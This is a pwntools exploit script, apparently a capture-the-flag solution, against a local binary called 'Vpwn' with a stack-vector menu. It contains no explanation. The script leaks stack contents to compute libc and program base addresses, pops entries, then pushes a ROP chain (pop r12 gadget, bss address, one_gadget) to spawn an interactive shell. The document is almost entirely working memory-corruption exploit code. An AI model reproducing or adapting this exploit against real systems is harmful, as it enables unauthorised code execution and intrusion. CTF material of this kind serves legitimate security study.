1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
| from pwn import * context(log_level = 'debug')
p = process('Vpwn') gdb.attach(p) def update(index): p.sendline(b'1') p.sendline(str(index).encode('utf-8'))
def push(value): p.sendline(b'2') p.sendline(str(value).encode('utf-8')) def pop(): p.sendline(b'3')
def print1(): p.sendline(b'4')
def change(low,high): if low < 0: low =hex((low + (1 << 32)) % (1 << 32)) print('hex_low',low) start_main_addr = hex(high)+low[2:] else: print('hex_low',hex(low)) start_main_addr = hex(high)+hex(low)[2:] return start_main_addr
def change2(low): if low[2]=='8' or low[2]=='9' or low[2]=='a' or low[2]=='b' or low[2]=='c' or low[2]=='d' or low[2]=='e' or low[2]=='f': low = int(low, 16) low >= 0x80000000 low -= 0x100000000
else: low = int(low,16) return low pause() for i in range(7): push(0x20)
print1() p.recvuntil(b'Enter your choice: StackVector contents: ') leak = p.recv().decode('utf-8').split(' ') print(len(leak)) high = leak[19] low = leak[18] pro_high = leak[23] pro_low = leak[22] print('leak------>',leak) print('leak_high--->',high) print('leak_low---->',low) high = int(high,10) low = int(low,10) pro_high = int(pro_high,10) pro_low = int(pro_low,10) start_main_addr = change(low,high) start_pro_addr = change(pro_low,pro_high)
print('hex_high',hex(high)) print('start_main_addr',start_main_addr) print('pro_addr',start_pro_addr) pro_addr = int(start_pro_addr,16)-0x1329 bss_addr = pro_addr+0x42AE+0x600 start_main_addr = int(start_main_addr,16) libc_addr = start_main_addr -128 - 0x29D10 for i in range(0x10-2): pop() ong_gadget = [libc_addr+0xebce2] print(hex(ong_gadget[0]))
low = '0x'+hex(pro_addr+0x1313)[6:] high = hex(pro_addr+0x1313)[0:6] low = change2(low) push(low) push(int(high,16))
low = '0x'+hex(bss_addr)[6:] high = hex(bss_addr)[0:6] low = change2(low) push(low) push(int(high,16))
pop_r12 = libc_addr+0x41c48 low = '0x'+hex(pop_r12)[6:] high = hex(pop_r12)[0:6] low = change2(low) push(low) push(int(high,16)) push(0) push(0) push(0) push(0)
low = '0x'+hex(pro_addr+0x101a)[6:] high = hex(pro_addr+0x101a)[0:6] low = change2(low) push(low) push(int(high,16))
low = '0x'+hex(ong_gadget[0])[6:] high = hex(ong_gadget[0])[0:6] low = change2(low) push(low) push(int(high,16))
pause() p.sendline(b'5') p.interactive()
|